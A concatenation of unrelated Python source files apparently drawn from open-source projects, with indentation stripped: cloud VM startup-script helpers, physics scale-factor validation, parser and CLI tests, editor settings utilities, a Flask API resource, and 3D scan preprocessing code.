+ tmux_setup
+ clone_gcp_bucket_dir.format(
remote_dir=remote_code_dir, gcp_bucket_name=gcp_bucket_name
)
+ install_venv.format(remote_dir=remote_code_dir)
)
if extra_install_fname is not None:
# Bash execute .sh file for additional requirements (if specified)
startup_script_content += install_additional_setup.format(extra_install_fname)
if use_tpus:
# Install TPU version JAX
startup_script_content += jax_tpu_build
elif use_cuda:
# Install GPU version JAX
startup_script_content += jax_gpu_build
# Write the desired python/bash execution to slurm job submission file
f_name, f_extension = os.path.splitext(job_filename)
if f_extension == ".py":
startup_script_content += exec_python.format(
remote_dir=remote_code_dir,
filename=job_filename,
cmd_line_arguments=cmd_line_arguments,
)
elif f_extension == ".sh":
startup_script_content += exec_bash.format(
remote_dir=remote_code_dir,
filename=job_filename,
cmd_line_arguments=cmd_line_arguments,
)
else:
raise ValueError(
f"Script with {f_extension} cannot be handled"
" by mle-toolbox. Only base .py, .sh experiments"
" are so far implemented. Please open an issue."
)
startup_script_content += sync_results_from_dir.format(
remote_code_dir=remote_code_dir,
gcp_bucket_name=gcp_bucket_name,
experiment_dir=experiment_dir,
)
# Write startup script to physical file
with open(startup_fname, "w", encoding="utf8") as f:
f.write(startup_script_content)
def gcp_delete_vm_instance(vm_name: str, use_tpus: bool = False) -> None:
"""Quitely delete job by its name + zone. TODO: Add robustness check."""
vm_zone = "europe-west4-a" if use_tpus else "us-west1-a"
if not use_tpus:
gcp_delete_cmd = [
"gcloud",
"compute",
"instances",
"delete",
f"{vm_name}",
"--zone",
f"{vm_zone}",
"--quiet",
"--no-user-output-enabled",
"--verbosity",
"error",
]
else:
gcp_delete_cmd = [
"gcloud",
"alpha",
"compute",
"tpus",
"tpu-vm",
"delete",
f"{vm_name}",
"--zone",
f"{vm_zone}",
"--quiet",
"--no-user-output-enabled",
"--verbosity",
"error",
]
sp.run(gcp_delete_cmd)
|
491364
|
import ROOT
ROOT.gROOT.SetBatch(True)
ROOT.PyConfig.IgnoreCommandLineOptions = True
ROOT.gInterpreter.LoadFile('BTagCalibrationStandalone.cpp')
from functools import partial
import numpy
from coffea.btag_tools import BTagScaleFactor
def stdvec(l):
out = ROOT.std.vector('string')()
for item in l:
out.push_back(item)
return out
def makesf(btagReader):
def btv_sf(syst, flavor, abseta, pt, discr=None):
def wrap(flavor, abseta, pt, discr):
if flavor == 5:
btvflavor = ROOT.BTagEntry.FLAV_B
elif flavor == 4:
btvflavor = ROOT.BTagEntry.FLAV_C
elif flavor == 0:
btvflavor = ROOT.BTagEntry.FLAV_UDSG
else:
raise ValueError
if discr is None:
return btagReader.eval_auto_bounds(syst, btvflavor, abseta, pt)
return btagReader.eval_auto_bounds(syst, btvflavor, abseta, pt, discr)
return numpy.vectorize(wrap, otypes='d')(flavor, abseta, pt, discr)
return btv_sf
def validate_btag(filename, btagtype, etamax):
btagData = ROOT.BTagCalibration(btagtype, filename)
npts = 10000
flavor = numpy.full(npts, 5)
abseta = numpy.random.uniform(0, etamax, size=npts)
pt = numpy.random.exponential(50, size=npts) + numpy.random.exponential(20, size=npts)
pt = numpy.maximum(20.1, pt)
discr = numpy.random.rand(npts)
coffea_sf = BTagScaleFactor(filename, BTagScaleFactor.RESHAPE, 'iterativefit', keep_df=True)
btagReader = ROOT.BTagCalibrationReader(ROOT.BTagEntry.OP_RESHAPING, 'central', stdvec(['up_jes', 'down_jes']))
btagReader.load(btagData, ROOT.BTagEntry.FLAV_B, 'iterativefit')
btv_sf = makesf(btagReader)
for syst in ['central', 'up_jes', 'down_jes']:
csf = coffea_sf.eval(syst, flavor, abseta, pt, discr)
bsf = btv_sf(syst, flavor, abseta, pt, discr)
print(abs(csf - bsf).max())
flavor = numpy.random.choice([0, 4, 5], size=npts)
coffea_sf = BTagScaleFactor(filename, BTagScaleFactor.TIGHT, 'comb,mujets,incl', keep_df=True)
btagReader = ROOT.BTagCalibrationReader(ROOT.BTagEntry.OP_TIGHT, 'central', stdvec(['up', 'down']))
btagReader.load(btagData, ROOT.BTagEntry.FLAV_B, 'comb')
btagReader.load(btagData, ROOT.BTagEntry.FLAV_C, 'mujets')
btagReader.load(btagData, ROOT.BTagEntry.FLAV_UDSG, 'incl')
btv_sf = makesf(btagReader)
for syst in ['central', 'up', 'down']:
csf = coffea_sf.eval(syst, flavor, abseta, pt, discr)
bsf = btv_sf(syst, flavor, abseta, pt, discr)
print(abs(csf - bsf).max())
validate_btag(
filename='DeepCSV_102XSF_V1.btag.csv',
btagtype='DeepCSV',
etamax=2.5,
)
validate_btag(
filename='testBTagSF.btag.csv',
btagtype='CSVv2',
etamax=2.4,
)
|
491373
|
import py
import os
import glob
import tokenize
import token
import StringIO
from pypy.interpreter.pyparser.metaparser import ParserGenerator, PgenError
from pypy.interpreter.pyparser.pygram import PythonGrammar
from pypy.interpreter.pyparser import parser
class MyGrammar(parser.Grammar):
TOKENS = token.__dict__
OPERATOR_MAP = {
"+" : token.OP,
"-" : token.OP,
}
KEYWORD_TOKEN = token.NAME
class TestParserGenerator:
def gram_for(self, grammar_source):
p = ParserGenerator(grammar_source + "\n")
return p.build_grammar(MyGrammar)
def test_multiple_rules(self):
g = self.gram_for("foo: NAME bar\nbar: STRING")
assert len(g.dfas) == 2
assert g.start == g.symbol_ids["foo"]
def test_simple(self):
g = self.gram_for("eval: NAME\n")
assert len(g.dfas) == 1
eval_sym = g.symbol_ids["eval"]
assert g.start == eval_sym
dfa = g.dfas[eval_sym - 256]
assert dfa.states == [([(1, 1)], False), ([], True)]
assert g.labels[0] == 0
def test_load_python_grammars(self):
gram_pat = os.path.join(os.path.dirname(__file__), "..", "data",
"Grammar*")
for gram_file in glob.glob(gram_pat):
fp = open(gram_file, "r")
try:
ParserGenerator(fp.read()).build_grammar(PythonGrammar)
finally:
fp.close()
def test_items(self):
g = self.gram_for("foo: NAME STRING OP '+'")
assert len(g.dfas) == 1
states = g.dfas[g.symbol_ids["foo"] - 256].states
last = states[0][0][0][1]
for state in states[1:-1]:
assert last < state[0][0][1]
last = state[0][0][1]
def test_alternatives(self):
g = self.gram_for("foo: STRING | OP")
assert len(g.dfas) == 1
def test_optional(self):
g = self.gram_for("foo: [NAME]")
def test_grouping(self):
g = self.gram_for("foo: (NAME | STRING) OP")
def test_keyword(self):
g = self.gram_for("foo: 'some_keyword' 'for'")
assert len(g.keyword_ids) == 2
assert len(g.token_ids) == 0
def test_token(self):
g = self.gram_for("foo: NAME")
assert len(g.token_ids) == 1
def test_operator(self):
g = self.gram_for("add: NUMBER '+' NUMBER")
assert len(g.keyword_ids) == 0
assert len(g.token_ids) == 2
exc = py.test.raises(PgenError, self.gram_for, "add: '/'").value
assert str(exc) == "no such operator: '/'"
def test_symbol(self):
g = self.gram_for("foo: some_other_rule\nsome_other_rule: NAME")
assert len(g.dfas) == 2
assert len(g.labels) == 3
exc = py.test.raises(PgenError, self.gram_for, "foo: no_rule").value
assert str(exc) == "no such rule: 'no_rule'"
def test_repeaters(self):
g1 = self.gram_for("foo: NAME+")
g2 = self.gram_for("foo: NAME*")
assert g1.dfas != g2.dfas
g = self.gram_for("foo: (NAME | STRING)*")
g = self.gram_for("foo: (NAME | STRING)+")
def test_error(self):
exc = py.test.raises(PgenError, self.gram_for, "hi").value
assert str(exc) == "expected token OP but got NEWLINE"
assert exc.location == ((1, 2), (1, 3), "hi\n")
exc = py.test.raises(PgenError, self.gram_for, "hi+").value
assert str(exc) == "expected ':' but got '+'"
assert exc.location == ((1, 2), (1, 3), "hi+\n")
def test_comments_and_whitespace(self):
self.gram_for("\n\n# comment\nrule: NAME # comment")
|
491389
|
from django.contrib.auth import get_user_model
from django.test import TestCase
from apis.betterself.v1.users.serializers import UserDetailsSerializer
from betterself.users.models import UserPhoneNumberDetails
User = get_user_model()
class TestUserSerializer(TestCase):
@classmethod
def setUpClass(cls):
super().setUpClass()
@classmethod
def setUpTestData(cls):
cls.default_user, _ = User.objects.get_or_create(username='default')
super().setUpTestData()
def test_user_details_serializer(self):
a_cool_user_name = 'a_cool_user_name'
cool_user, _ = User.objects.get_or_create(username=a_cool_user_name)
serializer = UserDetailsSerializer(cool_user)
data = serializer.data
self.assertEqual(data['username'], a_cool_user_name)
self.assertEqual(data['phone_number'], None)
self.assertEqual(data['uuid'], str(cool_user.uuid))
def test_user_details_serializer_with_phone_number(self):
good_number = '+16171234567'
UserPhoneNumberDetails.objects.create(user=self.default_user, phone_number=good_number)
serializer = UserDetailsSerializer(self.default_user)
data = serializer.data
self.assertEqual(data['phone_number'], good_number)
|
491403
|
import sublime
try:
str_cls = unicode
except (NameError):
str_cls = str
def preferences_filename():
"""
:return: The appropriate settings filename based on the version of Sublime Text
"""
if int(sublime.version()) >= 2174:
return 'Preferences.sublime-settings'
return 'Global.sublime-settings'
def pc_settings_filename():
"""
:return: The settings file for Package Control
"""
return 'Package Control.sublime-settings'
def load_list_setting(settings, name):
"""
Sometimes users accidentally change settings that should be lists to
just individual strings. This helps fix that.
:param settings:
A sublime.Settings object
:param name:
The name of the setting
:return:
The current value of the setting, always a list
"""
value = settings.get(name)
if not value:
return []
if isinstance(value, str_cls):
value = [value]
if not isinstance(value, list):
return []
filtered_value = []
for v in value:
if not isinstance(v, str_cls):
continue
filtered_value.append(v)
return sorted(filtered_value, key=lambda s: s.lower())
def save_list_setting(settings, filename, name, new_value, old_value=None):
"""
Updates a list-valued setting
:param settings:
The sublime.Settings object
:param filename:
The settings filename to save in
:param name:
The setting name
:param new_value:
The new value for the setting
:param old_value:
If not None, then this and the new_value will be compared. If they
are the same, the settings will not be flushed to disk.
"""
# Clean up the list to only include unique values, sorted
new_value = list(set(new_value))
new_value = sorted(new_value, key=lambda s: s.lower())
if old_value is not None:
if old_value == new_value:
return
settings.set(name, new_value)
sublime.save_settings(filename)
|
491438
|
import attr
import numpy as np
from multiprocessing import Pool
import cloudpickle
import tectosaur.util.gpu as gpu
from tectosaur.mesh.modify import concat
from tectosaur.ops.dense_integral_op import FarfieldTriMatrix
from tectosaur.util.timer import Timer
@attr.s
class Ball:
center = attr.ib()
R = attr.ib()
def inscribe_surf(ball, scaling, surf):
new_pts = surf[0] * ball.R * scaling + ball.center
return (new_pts, surf[1])
# A tikhonov regularization least squares solution via the SVD eigenvalue
# relation.
def reg_lstsq_inverse(M, alpha):
U, eig, VT = np.linalg.svd(M)
inv_eig = eig / (eig ** 2 + alpha ** 2)
return (VT.T * inv_eig).dot(U.T)
def caller(data):
f = cloudpickle.loads(data)
return f()
def build_c2e(tree, check_r, equiv_r, cfg):
t = Timer()
assembler = FarfieldTriMatrix(cfg.K.name, cfg.params, 4, np.float64)
check_surf = inscribe_surf(Ball(center = (0,0,0), R = 1), check_r, cfg.surf)
equiv_surf = inscribe_surf(Ball(center = (0,0,0), R = 1), equiv_r, cfg.surf)
new_pts, new_tris = concat(check_surf, equiv_surf)
n_check_tris = check_surf[1].shape[0]
check_tris = new_tris[:n_check_tris]
equiv_tris = new_tris[n_check_tris:]
mat = assembler.assemble(new_pts, check_tris, equiv_tris)
nrows = mat.shape[0] * 9
ncols = mat.shape[3] * 9
equiv_to_check = mat.reshape((nrows, ncols))
t.report('build e2cs')
U, eig, VT = np.linalg.svd(equiv_to_check)
out = (U.T.copy(), eig.copy(), VT.T.copy())
t.report('svd')
return out
|
491464
|
from flask_restful import Resource
from lyrebird.mock import context
from flask import request, jsonify, abort
from lyrebird import application
class Event(Resource):
def get(self):
return context.make_ok_response(
noticeList=application.notice.notice_list,
notRemindList=application.notice.not_remind_list
)
def put(self):
notice_status = request.json.get('status')
unique_key = request.json.get('key')
application.notice.change_notice_status(unique_key, notice_status)
return context.make_ok_response()
def post(self):
msg = request.json.get('eventInfo')
for action in msg.get('actions'):
if action.get('type') == 'carrier':
carrier_message = action.get('box', {})
issue_channel = carrier_message.get('channel')
issue_message = carrier_message.get('message')
issue_state = carrier_message.get('state')
issue_message['sender'] = msg.get('sender')
application.server['event'].publish(issue_channel, issue_message, state=issue_state)
return context.make_ok_response()
def delete(self):
unique_key = request.json.get('key')
application.notice.delete_notice(unique_key)
return context.make_ok_response()
|
491470
|
from skimage.transform import AffineTransform
from skimage import transform as tf
import re
CODE = 'trans'
REGEX = re.compile(r"^" + CODE + "_(?P<x_trans>[-0-9]+)_(?P<y_trans>[-0-9]+)")
class Translate:
def __init__(self, x_trans, y_trans):
self.code = CODE + str(x_trans) + '_' + str(y_trans)
self.x_trans = x_trans
self.y_trans = y_trans
def process(self, img):
return tf.warp(img, AffineTransform(translation=(-self.x_trans, -self.y_trans)), cval=1)
@staticmethod
def match_code(code):
match = REGEX.match(code)
if match:
d = match.groupdict()
return Translate(int(d['x_trans']), int(d['y_trans']))
|
491477
|
import argparse
parser = argparse.ArgumentParser(description="Train_Test")
### Training Settings
# General Parameters
parser.add_argument('--lr', type=float, default=0.0001)
parser.add_argument('--weight_decay', type=float, default=0.0001)
parser.add_argument('--grad_clip_norm', type=float, default=0.1)
parser.add_argument('--num_epochs', type=int, default=100)
parser.add_argument('--train_batch_size', type=int, default=6)
parser.add_argument('--val_batch_size', type=int, default=8)
parser.add_argument('--num_workers', type=int, default=4)
parser.add_argument('--display_iter', type=int, default=10)
parser.add_argument('--snapshot_iter', type=int, default=10)
parser.add_argument('--scale_factor', type=int, default=1)
parser.add_argument("--num_of_SegClass", type=int, default=21, help='Number of Segmentation Classes, default VOC = 21')
# Weight Parameters
parser.add_argument('--lowlight_images_path', type=str, default="data/train_data/")
parser.add_argument('--snapshots_folder', type=str, default="weight/")
parser.add_argument('--load_pretrain', type=bool, default=False)
parser.add_argument('--pretrain_dir', type=str, default="weight/Epoch99.pth")
# Ablation Parameters
parser.add_argument('--conv_type', type=str, default="dsc", choices=['dsc', 'dc', 'tc'])
parser.add_argument('--patch_size', type=int, default=4, choices=[3, 4, 5])
parser.add_argument('--exp_level', type=float, default=0.6, choices=[0.5, 0.6, 0.7])
### Testing Settings
parser.add_argument('--weight_dir', type=str, help='directory for pretrained weight', default='weight/Epoch99.pth')
parser.add_argument('--test_dir', type=str, help='directory for testing output', default='test_output')
parser.add_argument('--input_dir', type=str, help='directory for testing input', default='data/test_data/')
args = parser.parse_args()
|
491485
|
from random import choice, sample
import pytest
import six
from sqlalchemy import create_engine, inspect
from mysql_to_sqlite3 import MySQLtoSQLite
from mysql_to_sqlite3.cli import cli as mysql2sqlite
@pytest.mark.cli
@pytest.mark.usefixtures("mysql_instance")
class TestMySQLtoSQLite:
def test_no_arguments(self, cli_runner):
result = cli_runner.invoke(mysql2sqlite)
assert result.exit_code > 0
assert any(
message in result.output
for message in {
'Error: Missing option "-f" / "--sqlite-file"',
"Error: Missing option '-f' / '--sqlite-file'",
}
)
def test_non_existing_sqlite_file(self, cli_runner, faker):
result = cli_runner.invoke(
mysql2sqlite, ["-f", faker.file_path(depth=1, extension=".sqlite3")]
)
assert result.exit_code > 0
assert any(
message in result.output
for message in {
'Error: Missing option "-d" / "--mysql-database"',
"Error: Missing option '-d' / '--mysql-database'",
}
)
def test_no_database_name(self, cli_runner, sqlite_database):
result = cli_runner.invoke(mysql2sqlite, ["-f", sqlite_database])
assert result.exit_code > 0
assert any(
message in result.output
for message in {
'Error: Missing option "-d" / "--mysql-database"',
"Error: Missing option '-d' / '--mysql-database'",
}
)
def test_no_database_user(self, cli_runner, sqlite_database, mysql_credentials):
result = cli_runner.invoke(
mysql2sqlite, ["-f", sqlite_database, "-d", mysql_credentials.database]
)
assert result.exit_code > 0
assert any(
message in result.output
for message in {
'Error: Missing option "-u" / "--mysql-user"',
"Error: Missing option '-u' / '--mysql-user'",
}
)
def test_invalid_database_name(
self, cli_runner, sqlite_database, mysql_database, mysql_credentials, faker
):
result = cli_runner.invoke(
mysql2sqlite,
[
"-f",
sqlite_database,
"-d",
"_".join(faker.words(nb=3)),
"-u",
faker.first_name().lower(),
],
)
assert result.exit_code > 0
assert "1045 (28000): Access denied" in result.output
def test_invalid_database_user(
self, cli_runner, sqlite_database, mysql_database, mysql_credentials, faker
):
result = cli_runner.invoke(
mysql2sqlite,
[
"-f",
sqlite_database,
"-d",
mysql_credentials.database,
"-u",
faker.first_name().lower(),
],
)
assert result.exit_code > 0
assert "1045 (28000): Access denied" in result.output
def test_invalid_database_password(
self, cli_runner, sqlite_database, mysql_database, mysql_credentials, faker
):
result = cli_runner.invoke(
mysql2sqlite,
[
"-f",
sqlite_database,
"-d",
mysql_credentials.database,
"-u",
mysql_credentials.user,
"--mysql-password",
faker.password(length=16),
],
)
assert result.exit_code > 0
assert "1045 (28000): Access denied" in result.output
def test_database_password_prompt(
self,
cli_runner,
sqlite_database,
mysql_credentials,
mysql_database,
):
result = cli_runner.invoke(
mysql2sqlite,
args=[
"-f",
sqlite_database,
"-d",
mysql_credentials.database,
"-u",
mysql_credentials.user,
"-p",
],
input=mysql_credentials.password,
)
assert result.exit_code == 0
def test_invalid_database_password_prompt(
self,
cli_runner,
sqlite_database,
mysql_credentials,
mysql_database,
faker,
):
result = cli_runner.invoke(
mysql2sqlite,
args=[
"-f",
sqlite_database,
"-d",
mysql_credentials.database,
"-u",
mysql_credentials.user,
"-p",
],
input=faker.password(length=16),
)
assert result.exit_code > 0
assert "1045 (28000): Access denied" in result.output
def test_invalid_database_port(
self, cli_runner, sqlite_database, mysql_database, mysql_credentials, faker
):
if six.PY2:
port = choice(xrange(2, 2 ** 16 - 1))
else:
port = choice(range(2, 2 ** 16 - 1))
if port == mysql_credentials.port:
port -= 1
result = cli_runner.invoke(
mysql2sqlite,
[
"-f",
sqlite_database,
"-d",
mysql_credentials.database,
"-u",
mysql_credentials.user,
"--mysql-password",
mysql_credentials.password,
"-h",
mysql_credentials.host,
"-P",
port,
],
)
assert result.exit_code > 0
assert any(
message in result.output
for message in {
"2003 (HY000): Can't connect to MySQL server on",
"2003: Can't connect to MySQL server",
}
)
@pytest.mark.parametrize(
"chunk, vacuum, use_buffered_cursors, quiet",
[
# 0000
pytest.param(
None,
False,
False,
False,
id="no chunk, no vacuum, no buffered cursor, verbose",
),
# 1110
pytest.param(
10, True, True, False, id="chunk, vacuum, buffered cursor, verbose"
),
# 1100
pytest.param(
10, True, False, False, id="chunk, vacuum, no buffered cursor, verbose"
),
# 0110
pytest.param(
None, True, True, False, id="no chunk, vacuum, buffered cursor, verbose"
),
# 0100
pytest.param(
None,
True,
False,
False,
id="no chunk, vacuum, no buffered cursor, verbose",
),
# 1000
pytest.param(
10,
False,
False,
False,
id="chunk, no vacuum, no buffered cursor, verbose",
),
# 0010
pytest.param(
None,
False,
True,
False,
id="no chunk, no vacuum, buffered cursor, verbose",
),
# 1010
pytest.param(
10, False, True, False, id="chunk, no vacuum, buffered cursor, verbose"
),
# 0001
pytest.param(
None,
False,
False,
True,
id="no chunk, no vacuum, no buffered cursor, quiet",
),
# 1111
pytest.param(
10, True, True, True, id="chunk, vacuum, buffered cursor, quiet"
),
# 1101
pytest.param(
10, True, False, True, id="chunk, vacuum, no buffered cursor, quiet"
),
# 0111
pytest.param(
None, True, True, True, id="no chunk, vacuum, buffered cursor, quiet"
),
# 0101
pytest.param(
None,
True,
False,
True,
id="no chunk, vacuum, no buffered cursor, quiet",
),
# 1001
pytest.param(
10, False, False, True, id="chunk, no vacuum, no buffered cursor, quiet"
),
# 0011
pytest.param(
None,
False,
True,
True,
id="no chunk, no vacuum, buffered cursor, quiet",
),
# 1011
pytest.param(
10, False, True, True, id="chunk, no vacuum, buffered cursor, quiet"
),
],
)
def test_minimum_valid_parameters(
self,
cli_runner,
sqlite_database,
mysql_database,
mysql_credentials,
chunk,
vacuum,
use_buffered_cursors,
quiet,
):
arguments = [
"-f",
sqlite_database,
"-d",
mysql_credentials.database,
"-u",
mysql_credentials.user,
"--mysql-password",
mysql_credentials.password,
"-h",
mysql_credentials.host,
"-P",
mysql_credentials.port,
"-c",
chunk,
]
if vacuum:
arguments.append("-V")
if use_buffered_cursors:
arguments.append("--use-buffered-cursors")
if quiet:
arguments.append("-q")
result = cli_runner.invoke(mysql2sqlite, arguments)
assert result.exit_code == 0
if quiet:
assert result.output == ""
else:
assert result.output != ""
def test_keyboard_interrupt(
self, cli_runner, sqlite_database, mysql_credentials, mysql_database, mocker
):
mocker.patch.object(MySQLtoSQLite, "transfer", side_effect=KeyboardInterrupt())
result = cli_runner.invoke(
mysql2sqlite,
[
"-f",
sqlite_database,
"-d",
mysql_credentials.database,
"-u",
mysql_credentials.user,
"--mysql-password",
<PASSWORD>_credentials.password,
"-h",
mysql_credentials.host,
"-P",
mysql_credentials.port,
],
)
assert result.exit_code > 0
assert "Process interrupted" in result.output
def test_transfer_specific_tables_only(
self, cli_runner, sqlite_database, mysql_credentials, mysql_database
):
mysql_engine = create_engine(
"mysql+mysqldb://{user}:{password}@{host}:{port}/{database}".format(
user=mysql_credentials.user,
password=<PASSWORD>,
host=mysql_credentials.host,
port=mysql_credentials.port,
database=mysql_credentials.database,
)
)
mysql_inspect = inspect(mysql_engine)
mysql_tables = mysql_inspect.get_table_names()
if six.PY2:
table_number = choice(xrange(1, len(mysql_tables)))
else:
table_number = choice(range(1, len(mysql_tables)))
result = cli_runner.invoke(
mysql2sqlite,
[
"-f",
sqlite_database,
"-d",
mysql_credentials.database,
"-t",
" ".join(sample(mysql_tables, table_number)),
"-u",
mysql_credentials.user,
"--mysql-password",
mysql_credentials.password,
"-h",
mysql_credentials.host,
"-P",
mysql_credentials.port,
],
)
assert result.exit_code == 0
def test_version(self, cli_runner):
result = cli_runner.invoke(mysql2sqlite, ["--version"])
assert result.exit_code == 0
assert all(
message in result.output
for message in {
"mysql-to-sqlite3",
"Operating",
"System",
"Python",
"MySQL",
"SQLite",
"click",
"mysql-connector-python",
"python-slugify",
"pytimeparse",
"simplejson",
"six",
"tabulate",
"tqdm",
}
)
|
491497
|
from ..abstract import Processor
class Render(Processor):
"""Render images and labels.
# Arguments
renderer: Object that renders images and labels using a method
''render_sample()''.
"""
def __init__(self, renderer):
super(Render, self).__init__()
self.renderer = renderer
def call(self):
return self.renderer.render()
|
491517
|
from . import mobilenet_v1, mobilenet_v2, mobilenet_v3_large, mobilenet_v3_small, \
efficientnet, resnext, inception_v4, inception_resnet_v1, inception_resnet_v2, \
se_resnet, squeezenet, densenet, shufflenet_v2, resnet, se_resnext
from .RegNet import regnet
model_list = [
mobilenet_v1.MobileNetV1(), mobilenet_v2.MobileNetV2(), mobilenet_v3_large.MobileNetV3Large(),
mobilenet_v3_small.MobileNetV3Small(),
efficientnet.efficient_net_b0(), efficientnet.efficient_net_b1(),
efficientnet.efficient_net_b2(), efficientnet.efficient_net_b3(), efficientnet.efficient_net_b4(),
efficientnet.efficient_net_b5(), efficientnet.efficient_net_b6(), efficientnet.efficient_net_b7(),
resnext.ResNeXt50(), resnext.ResNeXt101(),
inception_v4.InceptionV4(),
inception_resnet_v1.InceptionResNetV1(),
inception_resnet_v2.InceptionResNetV2(),
se_resnet.se_resnet_50(), se_resnet.se_resnet_101(), se_resnet.se_resnet_152(),
se_resnext.SEResNeXt50(), se_resnext.SEResNeXt101(),
resnet.resnet_18(), resnet.resnet_34(), resnet.resnet_50(), resnet.resnet_101(), resnet.resnet_152(),
shufflenet_v2.shufflenet_0_5x(), shufflenet_v2.shufflenet_1_0x(), shufflenet_v2.shufflenet_1_5x(),
shufflenet_v2.shufflenet_2_0x(),
regnet.RegNet()
]
def get_model2idx_dict():
return dict((v, k) for k, v in enumerate(model_list))
def get_model(idx):
return model_list[idx]
|
491521
|
from __future__ import absolute_import, division, print_function
import logging
logger = logging.getLogger('pytest_catchlog.test.perf')
def test_log_emit(benchmark):
benchmark(logger.info, 'Testing %s performance: %s',
'catchlog', 'emit a single log record')
|
491533
|
import argparse
import os, sys
import json
from copy import deepcopy
import numpy as np
from scipy.spatial import cKDTree
from tqdm import tqdm
from ..utils.scannet_utils import get_global_part_labels_description, load_pickle, get_scannet
from ..utils.vox import load_sample
from ..utils.transforms import apply_transform, apply_inverse_transform
import main_directories as md
def load_metadata(args):
global_labels = get_global_part_labels_description(md.DICTIONARIES)
partnet_to_shapenet_transforms_path = '../dictionaries/partnet_to_shapenet_transforms.pkl'
partnet_to_shapenet_transforms = load_pickle(partnet_to_shapenet_transforms_path)
with open(os.path.join(md.DICTIONARIES, 'full_annotations.json'), 'rb') as f:
scan2cad_anno = json.load(f)
VALID_PARTNET_IDS = os.path.join(args.trees_dir, f'{args.category}_hier/full.txt')
valid_partnet_ids = []
with open(VALID_PARTNET_IDS, 'r') as f:
lines = f.readlines()
for line in lines:
valid_partnet_ids += [line[:-1]]
with open(os.path.join(md.DICTIONARIES, 'scannetv2_train.txt'), 'r') as fin:
lines = fin.readlines()
scannet_train_scenes = [x[:-1] for x in lines]
with open(os.path.join(md.DICTIONARIES, 'scannetv2_val.txt'), 'r') as fin:
lines = fin.readlines()
scannet_val_scenes = [x[:-1] for x in lines]
return scan2cad_anno, global_labels, partnet_to_shapenet_transforms, \
scannet_train_scenes, scannet_val_scenes, valid_partnet_ids
def process_scannet(args, scannet_train_scenes, scannet_val_scenes,
scan2cad_anno, global_labels, partnet_to_shapenet_transforms, valid_partnet_ids,
save_dir):
size = args.voxel_dim
scannet_split = scannet_train_scenes if (args.split == 'train') else scannet_val_scenes
split_ids = []
# for each scene at Scan2CAD
for i, anno_item in enumerate(tqdm(scan2cad_anno)):
# get Scan2CAD info
scan_id = anno_item['id_scan']
if scan_id not in scannet_split:
continue
scan_transform = anno_item["trs"]
aligned_models = anno_item['aligned_models']
# load scannet point cloud (mesh vertices)
scan_points_origin = get_scannet(scan_id, args.scannet_dir, output_type='array')
# transform scan to Scan2CAD coordinate system
scan_points = apply_transform(scan_points_origin, scan_transform)
# init_scan_mask
semantic_mask = -np.ones(len(scan_points))
instance_mask = -np.ones(len(scan_points))
# for each aligned shape
object_id = 0
for j, anno_shape in enumerate(aligned_models):
# get Scan2CAD info about shape
category_id = anno_shape['catid_cad']
shape_id = anno_shape['id_cad']
# get_global_info
df_parts = global_labels[
(global_labels['category_id'] == category_id) & (global_labels['object_id'] == shape_id)
]
if len(df_parts) == 0:
continue
# load shape pointcloud
partnet_id = df_parts.object_partnet_id.values[0]
partnet_path = os.path.join(args.partnet_dir, partnet_id, 'point_sample')
if partnet_id not in valid_partnet_ids:
continue
# LOAD partnet modalities
shape_ply = np.loadtxt(os.path.join(partnet_path, 'pts-10000.pts'), delimiter=' ')[:, :3]
shape_vox = load_sample(os.path.join(md.PARTNET_VOXELIZED, partnet_id, 'full_vox.df'))
# LOAD WORLD -> SHAPENET -> PARTNET -> PARTNET_VOX transform
shape_transform = anno_shape["trs"]
if partnet_id not in partnet_to_shapenet_transforms:
print('Transform for Partnet shape ', partnet_id, ' not found')
continue
partnet_transform = partnet_to_shapenet_transforms[partnet_id]
voxel_transform = shape_vox.grid2world
# MAP scan points: WORLD -> SHAPENET -> PARTNET
scan_points_aligned = apply_inverse_transform(scan_points, shape_transform, partnet_transform)
# get instance points from the scan
# calculate distance
tree = cKDTree(shape_ply)
min_dist, min_idx = tree.query(scan_points_aligned)
# Color
for is_near, i_nn, i_point in zip(min_dist <= 0.07, min_idx, range(len(scan_points_aligned))):
if is_near:
instance_mask[i_point] = object_id
instance_points = scan_points_aligned[np.where(instance_mask == object_id)[0]]
if len(instance_points) > 0:
# Normalization
min_1 = deepcopy(instance_points.min(0))
instance_points -= instance_points.min(0)
max_1 = deepcopy(instance_points.max() / 0.95)
instance_points /= instance_points.max() / 0.95
max_2 = deepcopy(instance_points.max(0) / 2)
instance_points -= instance_points.max(0) / 2
np.save(os.path.join(save_dir, f'{partnet_id}_{scan_id}_{j}_min_1.npy'), min_1)
np.save(os.path.join(save_dir, f'{partnet_id}_{scan_id}_{j}_max_1.npy'), max_1)
np.save(os.path.join(save_dir, f'{partnet_id}_{scan_id}_{j}_max_2.npy'), max_2)
# MAP instance points: PARTNET -> PARTNET_VOX
instance_grid = apply_inverse_transform(instance_points, voxel_transform)
instance_grid_int = instance_grid.astype('int')
instance_grid_int = np.maximum(0, np.minimum(size - 1, instance_grid_int))
# set of indices -> grid
voxel_points = np.zeros((size, size, size)).astype('uint8')
voxel_points[instance_grid_int[:, 2], instance_grid_int[:, 1], instance_grid_int[:, 0]] = 1
np.save(os.path.join(save_dir, f'{partnet_id}_{scan_id}_{j}.npy'), voxel_points)
np.save(os.path.join(save_dir, f'{partnet_id}_{scan_id}_{j}_scan.npy'), instance_grid)
split_ids += [f'{partnet_id}_{scan_id}_{j}']
object_id += 1
with open(os.path.join(save_dir, f'{args.split}.txt'), 'w') as f:
for item in split_ids:
f.write("%s\n" % item)
if __name__ == '__main__':
# params
parser = argparse.ArgumentParser()
# data params
parser.add_argument('--save_dir', required=True, help='path to store data')
parser.add_argument('--category', required=True, help='shape category to process')
parser.add_argument('--voxel_dim', type=int, default=32, help='size of voxelized shapes')
parser.add_argument('--trees_dir', required=True, help='path where trees are stored')
parser.add_argument('--scannet_dir', required=True, help='path to ScanNet dataset')
parser.add_argument('--partnet_dir', required=True, help='path to PartNet dataset')
parser.add_argument('--mode', default='train', help='ScanNet split to process')
args = parser.parse_args()
SAVE_DIR = os.path.join(args.save_dir, f'{args.category}_scannet_geo_finaltable')
os.makedirs(SAVE_DIR, exist_ok=True)
scan2cad_anno, \
global_labels, \
partnet_to_shapenet_transforms, \
scannet_train_scenes, \
scannet_val_scenes,\
valid_partnet_ids = load_metadata(args)
process_scannet(args, scannet_train_scenes, scannet_val_scenes,
scan2cad_anno, global_labels, partnet_to_shapenet_transforms, valid_partnet_ids,
SAVE_DIR)
|
491549
|
from PyQt5.QtCore import pyqtSlot
from PyQt5.Qt import QFileDialog
class FileDialog(QFileDialog):
def __init__(self, parent, caption = '', directory = ''):
super(FileDialog, self).__init__(parent, caption, directory)
